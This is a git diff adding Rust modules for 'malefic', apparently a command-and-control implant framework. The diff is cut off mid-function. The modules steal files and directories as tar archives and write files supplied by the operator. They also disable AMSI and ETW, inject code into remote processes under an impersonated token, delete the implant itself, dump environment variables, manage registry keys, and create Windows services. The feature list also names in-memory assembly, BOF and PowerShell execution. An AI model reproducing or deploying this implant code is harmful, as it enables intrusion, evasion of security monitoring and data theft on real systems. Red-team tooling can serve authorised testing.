fs::driver::EnumDrivers, + #[cfg(all(target_os = "windows", feature = "pipe"))] + fs::pipe::PipeRead, + #[cfg(all(target_os = "windows", feature = "pipe"))] + fs::pipe::PipeUpload, + #[cfg(all(target_os = "windows", feature = "pipe"))] + fs::pipe::PipeServer, + #[cfg(all(target_os = "windows", feature = "execute_bof"))] + execute::execute_bof::ExecuteBof, + #[cfg(all(target_os = "windows", feature = "execute_powershell"))] + execute::execute_powershell::ExecutePowershell, + #[cfg(all(target_os = "windows", feature = "execute_assembly"))] + execute::execute_assembly::ExecuteAssembly, + #[cfg(all(target_os = "windows", feature = "dllspawn"))] + execute::dllspawn::ExecuteDllSpawn, + #[cfg(all(target_os = "windows", feature = "inline_local"))] + execute::inline_local::InlineLocal, + #[cfg(all(target_os = "windows", feature = "execute_armory"))] + execute::execute_armory::ExecuteArmory, + #[cfg(all(target_os = "windows", feature = "execute_exe"))] + execute::execute_exe::ExecuteExe, + #[cfg(all(target_os = "windows", feature = "execute_dll"))] + execute::execute_dll::ExecuteDll, + #[cfg(all(target_os = "windows", feature = "execute_local"))] + execute::execute_local::ExecuteLocal, + #[cfg(all(target_os = "windows", feature = "wmi"))] + sys::wmi::WmiQuery, + #[cfg(all(target_os = "windows", feature = "wmi"))] + sys::wmi::WmiExecuteMethod, + #[cfg(feature = "thread_spawn_test")] + sys::thread_spawn_test::ThreadSpawnTest +); diff --git a/malefic-modules/src/net/download.rs b/malefic-modules/src/net/download.rs new file mode 100644 index 0000000..1a07955 --- /dev/null +++ b/malefic-modules/src/net/download.rs @@ -0,0 +1,269 @@ +use crate::{check_field, check_request, Module, ModuleImpl, TaskResult}; +use async_trait::async_trait; +use futures::SinkExt; +use malefic_common::debug; +use malefic_gateway::module_impl; +use malefic_gateway::obfuscate; +use malefic_module::ModuleResult; +use malefic_proto::proto::implantpb::spite::Body; +use malefic_proto::proto::modulepb::{DownloadRequest, DownloadResponse}; +use malefic_sysinfo::filesys::{check_sum_bytes, check_sum_read}; +use std::fs::{read_dir, File}; +use std::io::{Cursor, Read, Seek, Write}; +use std::path::Path; +use tar::{Builder, Header}; + +pub struct Download {} + +#[async_trait] +#[module_impl("download")] +impl Module for Download {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for Download { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::DownloadRequest)?; + + if request.dir { + self.download_dir(id, receiver, sender, request).await + } else { + self.download_file(id, receiver, sender, request).await + } + } +} + +impl Download { + pub async fn download_file( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + request: DownloadRequest, + ) -> ModuleResult { + let path: String = check_field!(request.path)?; + let mut file = File::open(&path)?; + let size = file.metadata()?.len(); + let sum = check_sum_read(&mut file)?; + debug!("checksum: {}, size: {}", sum, size); + let _ = sender + .send(TaskResult::new_with_body( + id, + Body::DownloadResponse(DownloadResponse { + checksum: sum, + size: size, + cur: 0, + content: Vec::new(), + }), + )) + .await?; + + let buffer_size = request.buffer_size as usize; + let total_cur = (size as usize + buffer_size - 1) / buffer_size; + let mut buffer = vec![0u8; buffer_size]; + + loop { + let drequest = check_request!(receiver, Body::DownloadRequest)?; + debug!("Receive DownloadRequest, cur: {}", drequest.cur); + let cur = drequest.cur; + let buffer_size = drequest.buffer_size as usize; + let byte_offset = (cur - 1) as u64 * buffer_size as u64; + file.seek(std::io::SeekFrom::Start(byte_offset))?; + let mut total_read = 0; + while total_read < buffer_size { + let n = file.read(&mut buffer[total_read..])?; + if n == 0 { + break; + } + total_read += n; + } + let n = total_read; + let sha256sum = check_sum_bytes(&buffer[..n])?; + debug!("checksum: {}, size: {}, cur: {}", sha256sum.clone(), n, cur); + let resp = DownloadResponse { + checksum: sha256sum, + size: n as u64, + cur: cur, + content: buffer[..n].to_vec(), + }; + + if drequest.cur == -1 || cur == total_cur as i32 || n < buffer_size { + debug!("Send spite[{}] success, end", cur); + return Ok(TaskResult::new_with_body(id, Body::DownloadResponse(resp))); + } else { + let _ = sender + .send(TaskResult::new_with_body(id, Body::DownloadResponse(resp))) + .await?; + debug!("Send spite[{}] success", cur); + } + } + } + + pub async fn download_dir( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + request: DownloadRequest, + ) -> ModuleResult { + let path: String = check_field!(request.path)?; + let archive_buffer = self.create_tar_archive(&path)?; + let sha256sum = check_sum_bytes(archive_buffer.as_slice())?; + let size = archive_buffer.len() as u64; + debug!( + "TAR packaging complete, total size: {} bytes, checksum: {}", + size, sha256sum + ); + + // Send initial response with total size and checksum + let _ = sender + .send(TaskResult::new_with_body( + id, + Body::DownloadResponse(DownloadResponse { + checksum: sha256sum.clone(), + size: size, + cur: 0, + content: Vec::new(), + }), + )) + .await?; + + let buffer_size = request.buffer_size; + let total_cur = size / buffer_size as u64 + 1; + + loop { + let drequest = check_request!(receiver, Body::DownloadRequest)?; + debug!("Receive DownloadRequest, cur: {}", drequest.cur); + let cur = drequest.cur; + + let buffer_size = drequest.buffer_size as usize; + let byte_offset = ((cur - 1) as u64 * buffer_size as u64) as usize; + + // Calculate actual size of current chunk + let chunk_size = if byte_offset + buffer_size > archive_buffer.len() { + archive_buffer.len() - byte_offset + } else { + buffer_size + }; + + // Extract chunk from in-memory tar package data + let chunk_data = if byte_offset < archive_buffer.len() { + &archive_buffer[byte_offset..byte_offset + chunk_size] + } else { + &[] + }; + + let chunk_checksum = check_sum_bytes(chunk_data)?; + debug!( + "checksum: {}, size: {}, cur: {}", + chunk_checksum, + chunk_data.len(), + cur + ); + + let resp = DownloadResponse { + checksum: chunk_checksum, + size: chunk_data.len() as u64, + cur: cur, + content: chunk_data.to_vec(), + }; + + if drequest.cur == -1 || cur == total_cur as i32 || chunk_data.len() < buffer_size { + debug!("Send spite[{}] success, end", cur); + return Ok(TaskResult::new_with_body(id, Body::DownloadResponse(resp))); + } else { + let _ = sender + .send(TaskResult::new_with_body(id, Body::DownloadResponse(resp))) + .await?; + debug!("Send spite[{}] success", cur); + } + } + } + + fn create_tar_archive(&self, dir_path: &str) -> std::io::Result> { + let mut archive_buffer = Vec::new(); + { + let cursor = Cursor::new(&mut archive_buffer); + let mut tar_builder = Builder::new(cursor); + + self.add_directory_to_tar(&mut tar_builder, Path::new(dir_path), "")?; + tar_builder.finish()?; + } + Ok(archive_buffer) + } + + fn add_directory_to_tar( + &self, + tar_builder: &mut Builder, + base_path: &Path, + relative_path: &str, + ) -> std::io::Result<()> { + let current_path = if relative_path.is_empty() { + base_path.to_path_buf() + } else { + base_path.join(relative_path) + }; + + for entry in read_dir(¤t_path)?.flatten() { + let file_name = entry.file_name().to_string_lossy().to_string(); + let entry_relative_path = if relative_path.is_empty() { + file_name.clone() + } else { + format!("{}/{}", relative_path, file_name) + }; + + let metadata = match entry.metadata() { + Ok(m) => m, + Err(_) => continue, + }; + + if metadata.is_dir() { + // Add directory entry + let mut header = Header::new_gnu(); + header.set_path(&entry_relative_path)?; + header.set_size(0); + header.set_mode(self.get_permissions(&metadata)); + header.set_entry_type(tar::EntryType::Directory); + header.set_cksum(); + tar_builder.append(&header, std::io::empty())?; + + // Recursively process subdirectories + self.add_directory_to_tar(tar_builder, base_path, &entry_relative_path)?; + } else { + // Add file + let mut file = File::open(entry.path())?; + let mut header = Header::new_gnu(); + header.set_path(&entry_relative_path)?; + header.set_size(metadata.len()); + header.set_mode(self.get_permissions(&metadata)); + header.set_entry_type(tar::EntryType::Regular); + header.set_cksum(); + tar_builder.append(&header, &mut file)?; + + debug!( + "Added file to TAR: {} ({} bytes)", + entry_relative_path, + metadata.len() + ); + } + } + Ok(()) + } + + #[cfg(unix)] + fn get_permissions(&self, metadata: &std::fs::Metadata) -> u32 { + use std::os::unix::fs::PermissionsExt; + metadata.permissions().mode() + } + + #[cfg(windows)] + fn get_permissions(&self, _metadata: &std::fs::Metadata) -> u32 { + // Simplified handling on Windows, return standard permissions + 0o644 + } +} diff --git a/malefic-modules/src/net/mod.rs b/malefic-modules/src/net/mod.rs new file mode 100644 index 0000000..ea5504a --- /dev/null +++ b/malefic-modules/src/net/mod.rs @@ -0,0 +1,8 @@ +#[cfg(feature = "download")] +pub mod download; +#[cfg(feature = "upload")] +pub mod upload; +//mod zip; +//mod ping; +//mod curl; +//mod ifconfig; diff --git a/malefic-modules/src/net/upload.rs b/malefic-modules/src/net/upload.rs new file mode 100644 index 0000000..b179619 --- /dev/null +++ b/malefic-modules/src/net/upload.rs @@ -0,0 +1,53 @@ +// #[allow(non_snake_case)] +use futures::SinkExt; +use std::fs::OpenOptions; +use std::io::Write; + +use crate::prelude::*; + +pub struct Upload {} + +#[async_trait] +#[module_impl("upload")] +impl Module for Upload {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for Upload { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::UploadRequest)?; + + let target = check_field!(request.target)?; + + let mut file = OpenOptions::new() + .write(true) + .create(true) + .truncate(true) + .open(target)?; + + if request.data.is_empty() { + // data is empty, do nothing or perform specific handling + } else { + file.write_all(&request.data)?; + return Ok(TaskResult::new_with_ack(id, 0)); + } + let _ = sender.send(TaskResult::new_with_ack(id, 0)).await?; + loop { + let block = check_request!(receiver, Body::Block)?; + let _ = file.write_all(&block.content)?; + + if block.end { + return Ok(TaskResult::new_with_ack(id, block.block_id)); + } else { + let _ = sender + .send(TaskResult::new_with_ack(id, block.block_id)) + .await?; + } + } + } +} diff --git a/malefic-modules/src/prelude.rs b/malefic-modules/src/prelude.rs new file mode 100644 index 0000000..f74e35f --- /dev/null +++ b/malefic-modules/src/prelude.rs @@ -0,0 +1,16 @@ +pub use async_trait::async_trait; +pub use futures::SinkExt; +pub use futures::StreamExt; +pub use malefic_gateway::module_impl; +pub use malefic_gateway::obfstr; +pub use malefic_gateway::obfuscate; +pub use malefic_module::{ + check_field, check_optional, check_request, debug, register_module, to_error, +}; +pub use malefic_module::{ + Input, MaleficBundle, MaleficModule, Module, ModuleImpl, ModuleResult, Output, TaskError, + TaskResult, +}; +pub use malefic_proto::proto::implantpb::spite::Body; +pub use malefic_proto::proto::implantpb::{Spite, Spites}; +pub use malefic_proto::proto::modulepb::Response; diff --git a/malefic-modules/src/sys/bypass.rs b/malefic-modules/src/sys/bypass.rs new file mode 100644 index 0000000..16bad39 --- /dev/null +++ b/malefic-modules/src/sys/bypass.rs @@ -0,0 +1,25 @@ +use crate::prelude::*; + +pub struct Bypass {} + +#[async_trait] +#[module_impl("bypass")] +impl Module for Bypass {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for Bypass { + async fn run(&mut self, id: u32, receiver: &mut Input, _: &mut Output) -> ModuleResult { + let req = check_request!(receiver, Body::BypassRequest)?; + unsafe { + if req.amsi { + malefic_os_win::kit::bypass::bypass_amsi(); + } + if req.etw { + malefic_os_win::kit::bypass::bypass_etw(); + } + } + + Ok(TaskResult::new(id)) + } +} diff --git a/malefic-modules/src/sys/env.rs b/malefic-modules/src/sys/env.rs new file mode 100644 index 0000000..44bb0e7 --- /dev/null +++ b/malefic-modules/src/sys/env.rs @@ -0,0 +1,78 @@ +use crate::prelude::*; + +pub struct Env {} + +#[async_trait] +#[module_impl("env")] +impl Module for Env {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for Env { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _sender: &mut malefic_module::Output, + ) -> ModuleResult { + let _ = check_request!(receiver, Body::Request)?; + + let mut env_response = Response::default(); + for (key, value) in std::env::vars() { + env_response.kv.insert(key, value); + } + + Ok(TaskResult::new_with_body(id, Body::Response(env_response))) + } +} + +pub struct Setenv {} + +#[async_trait] +#[module_impl("env_set")] +impl Module for Setenv {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for Setenv { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _sender: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::Request)?; + + let args = check_field!(request.args, 2)?; + if let [k, v] = &args[..] { + std::env::set_var(k, v); + } else { + } + + Ok(TaskResult::new(id)) + } +} + +pub struct Unsetenv {} + +#[async_trait] +#[module_impl("env_unset")] +impl Module for Unsetenv {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for Unsetenv { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _sender: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::Request)?; + + let input = check_field!(request.input)?; + std::env::remove_var(input); + + Ok(TaskResult::new(id)) + } +} diff --git a/malefic-modules/src/sys/example.rs b/malefic-modules/src/sys/example.rs new file mode 100644 index 0000000..c3287bb --- /dev/null +++ b/malefic-modules/src/sys/example.rs @@ -0,0 +1,28 @@ +use crate::prelude::*; +use malefic_module::TaskError::NotImpl; + +pub struct Example {} + +#[async_trait] +#[module_impl("example")] +impl Module for Example {} + +#[async_trait] +impl ModuleImpl for Example { + #[allow(unused_variables)] + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::Request)?; + if request.input == "ok" { + let mut response = Response::default(); + response.output = "ok".to_string(); + Ok(TaskResult::new_with_body(id, Body::Response(response))) + } else { + Err(anyhow::anyhow!(NotImpl)) + } + } +} diff --git a/malefic-modules/src/sys/info.rs b/malefic-modules/src/sys/info.rs new file mode 100644 index 0000000..a951f8f --- /dev/null +++ b/malefic-modules/src/sys/info.rs @@ -0,0 +1,51 @@ +use crate::prelude::*; + +pub struct SysInfo {} +#[async_trait] +#[module_impl("sysinfo")] +impl Module for SysInfo {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for SysInfo { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _: &mut malefic_module::Output, + ) -> malefic_module::ModuleResult { + let _ = check_request!(receiver, Body::Request)?; + let info = malefic_sysinfo::get_sysinfo(); + let os = info.os.expect("os info should always be available"); + let process = info.process.unwrap_or_default(); + + Ok(TaskResult::new_with_body( + id, + Body::Sysinfo(malefic_proto::proto::modulepb::SysInfo { + filepath: info.filepath, + workdir: info.workdir, + is_privilege: info.is_privilege, + os: Some(malefic_proto::proto::modulepb::Os { + name: os.name, + version: os.version, + release: os.release, + arch: os.arch, + username: os.username, + hostname: os.hostname, + locale: os.locale, + clr_version: os.clr_version, + }), + process: Some(malefic_proto::proto::modulepb::Process { + name: process.name, + pid: process.pid, + ppid: process.ppid, + arch: process.arch, + owner: process.owner, + path: process.path, + args: process.args, + uid: "".to_string(), + }), + }), + )) + } +} diff --git a/malefic-modules/src/sys/inject.rs b/malefic-modules/src/sys/inject.rs new file mode 100644 index 0000000..e48e509 --- /dev/null +++ b/malefic-modules/src/sys/inject.rs @@ -0,0 +1,30 @@ +use crate::prelude::*; + +pub struct Inject {} + +#[async_trait] +#[module_impl("inject")] +impl Module for Inject {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for Inject { + async fn run(&mut self, id: u32, receiver: &mut Input, _: &mut Output) -> ModuleResult { + let req = check_request!(receiver, Body::Inject)?; + let bin = check_field!(req.bin)?; + + if req.token_pid != 0 { + to_error!(malefic_os_win::token::impersonate_process(req.token_pid) + .map_err(|e| e.to_string()))?; + } + + let result = malefic_os_win::kit::inject::remote_inject(&*bin, req.pid); + + if req.token_pid != 0 { + let _ = malefic_os_win::token::revert_to_self(); + } + + to_error!(result)?; + Ok(TaskResult::new(id)) + } +} diff --git a/malefic-modules/src/sys/kill.rs b/malefic-modules/src/sys/kill.rs new file mode 100644 index 0000000..e69b86b --- /dev/null +++ b/malefic-modules/src/sys/kill.rs @@ -0,0 +1,26 @@ +use crate::prelude::*; + +pub struct Kill {} + +#[async_trait] +#[module_impl("kill")] +impl Module for Kill {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for Kill { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _sender: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::Request)?; + + let pid = check_field!(request.input)?; + + malefic_process::kill(pid.parse()?)?; + + Ok(TaskResult::new(id)) + } +} diff --git a/malefic-modules/src/sys/mod.rs b/malefic-modules/src/sys/mod.rs new file mode 100644 index 0000000..dded375 --- /dev/null +++ b/malefic-modules/src/sys/mod.rs @@ -0,0 +1,43 @@ +#[cfg(feature = "env")] +pub mod env; +#[cfg(debug_assertions)] +pub mod example; +#[cfg(feature = "netstat")] +pub mod netstat; +#[cfg(feature = "ps")] +pub mod ps; +#[cfg(feature = "whoami")] +pub mod whoami; +// mod reg; +#[cfg(feature = "kill")] +pub mod kill; +// mod spawn; +#[cfg(feature = "info")] +pub mod info; + +#[cfg(all(target_family = "windows", feature = "bypass"))] +pub mod bypass; +#[cfg(all(target_family = "windows", feature = "inject"))] +pub mod inject; +#[cfg(all(target_family = "windows", feature = "registry"))] +pub mod reg; +#[cfg(all(target_family = "windows", feature = "self_dele"))] +pub mod self_dele; +#[cfg(all(target_family = "windows", feature = "service"))] +pub mod service; +#[cfg(all(target_family = "windows", feature = "taskschd"))] +pub mod taskschd; +#[cfg(feature = "thread_spawn_test")] +pub mod thread_spawn_test; +#[cfg(all( + target_family = "windows", + any( + feature = "runas", + feature = "rev2self", + feature = "privs", + feature = "getsystem" + ) +))] +pub mod token; +#[cfg(all(target_family = "windows", feature = "wmi"))] +pub mod wmi; diff --git a/malefic-modules/src/sys/netstat.rs b/malefic-modules/src/sys/netstat.rs new file mode 100644 index 0000000..4713361 --- /dev/null +++ b/malefic-modules/src/sys/netstat.rs @@ -0,0 +1,36 @@ +use crate::prelude::*; +use malefic_proto::proto::modulepb::{NetstatResponse, SockTabEntry}; +pub struct Netstat {} + +#[async_trait] +#[module_impl("netstat")] +impl Module for Netstat {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for Netstat { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _sender: &mut malefic_module::Output, + ) -> ModuleResult { + let _re = check_request!(receiver, Body::Request)?; + + let mut response = NetstatResponse::default(); + for sock in malefic_net::get_netstat()?.into_iter() { + response.socks.push(SockTabEntry { + local_addr: sock.local_addr, + remote_addr: sock.remote_addr, + protocol: sock.protocol, + pid: sock.pid, + sk_state: sock.sk_state, + }); + } + + Ok(TaskResult::new_with_body( + id, + Body::NetstatResponse(response), + )) // Response body is empty + } +} diff --git a/malefic-modules/src/sys/ps.rs b/malefic-modules/src/sys/ps.rs new file mode 100644 index 0000000..b35f304 --- /dev/null +++ b/malefic-modules/src/sys/ps.rs @@ -0,0 +1,33 @@ +use crate::prelude::*; +use malefic_proto::proto::modulepb; +use malefic_proto::proto::modulepb::PsResponse; + +pub struct Ps {} + +#[async_trait] +#[module_impl("ps")] +impl Module for Ps {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for Ps { + async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + let _ = check_request!(receiver, Body::Request)?; + + let mut response = PsResponse::default(); + for (_, process) in malefic_process::get_processes()?.into_iter() { + response.processes.push(modulepb::Process { + name: process.name, + pid: process.pid, + ppid: process.ppid, + arch: process.arch, + owner: process.owner, + path: process.path, + args: process.args, + uid: "".to_string(), + }); + } + + Ok(TaskResult::new_with_body(id, Body::PsResponse(response))) // Response body is empty + } +} diff --git a/malefic-modules/src/sys/reg.rs b/malefic-modules/src/sys/reg.rs new file mode 100644 index 0000000..da7c138 --- /dev/null +++ b/malefic-modules/src/sys/reg.rs @@ -0,0 +1,163 @@ +use crate::prelude::*; +use malefic_os_win::reg::{RegistryKey, RegistryValue}; + +pub struct RegListKey {} + +#[async_trait] +#[module_impl("reg_list_key")] +impl Module for RegListKey {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for RegListKey { + async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + let req = check_request!(receiver, Body::RegistryRequest)?; + let hive = check_field!(req.hive)?; + // Allow path to be empty for querying root directory + let path = if req.path.is_empty() { "" } else { &req.path }; + + let reg_key = RegistryKey::open(hive.parse()?, path)?; + let res = reg_key.list_subkeys()?; + let mut resp = malefic_proto::proto::modulepb::Response::default(); + resp.array = res; + Ok(TaskResult::new_with_body(id, Body::Response(resp))) + } +} + +pub struct RegListValue {} +#[async_trait] +#[module_impl("reg_list_value")] +impl Module for RegListValue {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for RegListValue { + async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + let req = check_request!(receiver, Body::RegistryRequest)?; + let hive = check_field!(req.hive)?; + // Allow path to be empty for querying root directory + let path = if req.path.is_empty() { "" } else { &req.path }; + + let reg_key = RegistryKey::open(hive.parse()?, path)?; + let res = reg_key.list_values()?; + + let mut resp = malefic_proto::proto::modulepb::Response::default(); + for (key, value) in res { + resp.kv.insert(key, value.to_string()); + } + + Ok(TaskResult::new_with_body(id, Body::Response(resp))) + } +} + +pub struct RegQuery {} +#[async_trait] +#[module_impl("reg_query")] +impl Module for RegQuery {} +#[async_trait] +#[obfuscate] +impl ModuleImpl for RegQuery { + async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + let req = check_request!(receiver, Body::RegistryRequest)?; + let hive = check_field!(req.hive)?; + let path = check_field!(req.path)?; + let key = check_field!(req.key)?; + + let reg_key = RegistryKey::open(hive.parse()?, &path)?; + let value = reg_key.query_value(&key)?; + + let mut resp = malefic_proto::proto::modulepb::Response::default(); + resp.output = value.to_string(); + + Ok(TaskResult::new_with_body(id, Body::Response(resp))) + } +} + +pub struct RegAdd {} +#[async_trait] +#[module_impl("reg_add")] +impl Module for RegAdd {} +#[async_trait] +#[obfuscate] +impl ModuleImpl for RegAdd { + async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + let req = check_request!(receiver, Body::RegistryWriteRequest)?; + let hive = check_field!(req.hive)?; + let path = check_field!(req.path)?; + + let reg_key = match RegistryKey::open(hive.parse()?, &*path) { + Ok(key) => key, + Err(_) => RegistryKey::create(hive.parse()?, &*path)?, + }; + + let key = if req.key.is_empty() { + return Ok(TaskResult::new(id)); + } else { + check_field!(req.key)? + }; + + // Set different types of values based on regtype + match req.regtype { + 1 => { + // REG_SZ + let string_value = check_field!(req.string_value)?; + reg_key.set_value(&*key, RegistryValue::String(string_value))?; + } + 3 => { + // REG_BINARY + let byte_value = check_field!(req.byte_value)?; + to_error!(reg_key.set_value(&*key, RegistryValue::Binary(byte_value.to_vec())))?; + } + 4 => { + // REG_DWORD + let dword_value = req.dword_value; + reg_key.set_value(&*key, RegistryValue::Dword(dword_value))?; + } + 11 => { + // REG_QWORD + let qword_value = req.qword_value; + reg_key.set_value(&*key, RegistryValue::Qword(qword_value))?; + } + 0 => { + return Ok(TaskResult::new(id)); + } + _ => return Err(anyhow::Error::msg("Unsupported registry value type").into()), + } + + Ok(TaskResult::new(id)) + } +} + +pub struct RegDelete {} + +#[async_trait] +#[module_impl("reg_delete")] +impl Module for RegDelete {} +#[async_trait] +#[obfuscate] +impl ModuleImpl for RegDelete { + async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + let req = check_request!(receiver, Body::RegistryRequest)?; + let hive = check_field!(req.hive)?; + let parsed_hive = hive.parse()?; + + // If key is empty, delete entire key path; otherwise only delete specified value + if req.key.is_empty() { + let path = check_field!(req.path)?; + let (parent_path, subkey_name) = match path.rsplit_once('\\') { + Some((parent, child)) if !child.is_empty() => (parent, child), + _ => ("", path.as_str()), + }; + + let parent = RegistryKey::open(parsed_hive, parent_path)?; + parent.delete_key(Some(subkey_name))?; + } else { + // Delete specified value + let path = if req.path.is_empty() { "" } else { &req.path }; + let reg_key = RegistryKey::open(parsed_hive, path)?; + reg_key.delete_value(&req.key)?; + } + + Ok(TaskResult::new(id)) + } +} diff --git a/malefic-modules/src/sys/self_dele.rs b/malefic-modules/src/sys/self_dele.rs new file mode 100644 index 0000000..5724a2a --- /dev/null +++ b/malefic-modules/src/sys/self_dele.rs @@ -0,0 +1,24 @@ +use crate::prelude::*; +use malefic_os_win::kit::hide::self_delete; + +pub struct SelfDele {} + +#[async_trait] +#[module_impl("self_dele")] +impl Module for SelfDele {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for SelfDele { + async fn run(&mut self, id: u32, receiver: &mut Input, _: &mut Output) -> ModuleResult { + let req = check_request!(receiver, Body::Common)?; + if req.string_array.is_empty() { + return to_error!(Err("Stream name is needed".to_string())); + } + unsafe { + self_delete(&req.string_array[0]); + } + + Ok(TaskResult::new(id)) + } +} diff --git a/malefic-modules/src/sys/service.rs b/malefic-modules/src/sys/service.rs new file mode 100644 index 0000000..93c7d62 --- /dev/null +++ b/malefic-modules/src/sys/service.rs @@ -0,0 +1,205 @@ +use crate::prelude::*; +use malefic_os_win::service::{ + ServiceConfig, ServiceErrorControl, ServiceExitCode, ServiceManager, ServiceStartType, + ServiceStatus, +}; +use malefic_proto::proto::modulepb::Service; + +fn service_config_to_proto( + config: &ServiceConfig, +) -> malefic_proto::proto::modulepb::ServiceConfig { + let config = config.clone(); + malefic_proto::proto::modulepb::ServiceConfig { + name: config.name.clone(), + display_name: config.display_name.to_string_lossy().to_string(), + executable_path: config.executable_path.to_string_lossy().to_string(), + start_type: config.start_type as u32, + error_control: config.error_control as u32, + account_name: config + .account_name + .clone() + .unwrap_or_default() + .to_string_lossy() + .to_string(), + } +} + +fn service_status_to_proto( + status: &ServiceStatus, +) -> malefic_proto::proto::modulepb::ServiceStatus { + let status = status.clone(); + malefic_proto::proto::modulepb::ServiceStatus { + current_state: status.current_state as u32, + process_id: status.process_id.unwrap_or(0), + exit_code: match status.exit_code { + ServiceExitCode::Win32(code) => code, + ServiceExitCode::ServiceSpecific(code) => code, + }, + checkpoint: status.checkpoint, + wait_hint: status.wait_hint.as_secs() as u32, + } +} + +pub struct ServiceList {} + +#[async_trait] +#[module_impl("service_list")] +impl Module for ServiceList {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for ServiceList { + async fn run(&mut self, id: u32, _receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + let _ = check_request!(_receiver, Body::Request)?; + let manager = ServiceManager::open()?; + + let services = manager.list_and_query()?; + let mut resp = malefic_proto::proto::modulepb::ServicesResponse::default(); + + for service in services { + let config = service_config_to_proto(&service.config); + let status = service.status.as_ref().map(service_status_to_proto); + resp.services.push(Service { + config: Some(config), + status, + }); + } + + // Return service list + Ok(TaskResult::new_with_body(id, Body::ServicesResponse(resp))) + } +} + +pub struct ServiceStart {} + +#[async_trait] +#[module_impl("service_start")] +impl Module for ServiceStart {} +#[async_trait] +#[obfuscate] +impl ModuleImpl for ServiceStart { + async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + let req = check_request!(receiver, Body::ServiceRequest)?; + let manager = ServiceManager::open()?; + let config = manager.query_service(&req.name)?; + manager.start_service(&config)?; + + Ok(TaskResult::new(id)) + } +} + +pub struct ServiceStop {} + +#[async_trait] +#[module_impl("service_stop")] +impl Module for ServiceStop {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for ServiceStop { + async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + let req = check_request!(receiver, Body::ServiceRequest)?; + let manager = ServiceManager::open()?; + let config = manager.query_service(&req.name)?; + manager.stop_service(&config)?; + + Ok(TaskResult::new(id)) + } +} + +pub struct ServiceDelete {} + +#[async_trait] +#[module_impl("service_delete")] +impl Module for ServiceDelete {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for ServiceDelete { + async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + let req = check_request!(receiver, Body::ServiceRequest)?; + + let manager = ServiceManager::open()?; + + let config = manager.query_service(&req.name)?; + + manager.delete_service(&config)?; + + Ok(TaskResult::new(id)) + } +} + +pub struct ServiceQuery {} + +#[async_trait] +#[module_impl("service_query")] +impl Module for ServiceQuery {} +#[async_trait] +#[obfuscate] +impl ModuleImpl for ServiceQuery { + async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + let req = check_request!(receiver, Body::ServiceRequest)?; + + let manager = ServiceManager::open()?; + + let config = manager.query_service(&req.name)?; + let status = manager.query_service_status(&config)?; + + Ok(TaskResult::new_with_body( + id, + Body::ServiceResponse(Service { + config: Some(service_config_to_proto(&config)), + status: Some(service_status_to_proto(&status)), + }), + )) + } +} + +pub struct ServiceCreate {} + +#[async_trait] +#[module_impl("service_create")] +impl Module for ServiceCreate {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for ServiceCreate { + async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + // Get ServiceRequest from request + let req = check_request!(receiver, Body::ServiceRequest)?; + + // Open service manager + let manager = ServiceManager::open()?; + + // Extract service creation parameters from request data + let service_name = req.name.clone(); + let display_name = req.display_name.clone(); + let executable_path = req.executable_path.clone(); + let start_type = match req.start_type { + 0 => ServiceStartType::BootStart, + 1 => ServiceStartType::SystemStart, + 2 => ServiceStartType::AutoStart, + 3 => ServiceStartType::DemandStart, + _ => ServiceStartType::Disabled, + }; + let error_control = match req.error_control { + 0 => ServiceErrorControl::Ignore, + 1 => ServiceErrorControl::Normal, + 2 => ServiceErrorControl::Severe, + _ => ServiceErrorControl::Critical, + }; + let account_name = req.account_name.clone(); + + // Create service + let _ = manager.create_service( + &service_name, + 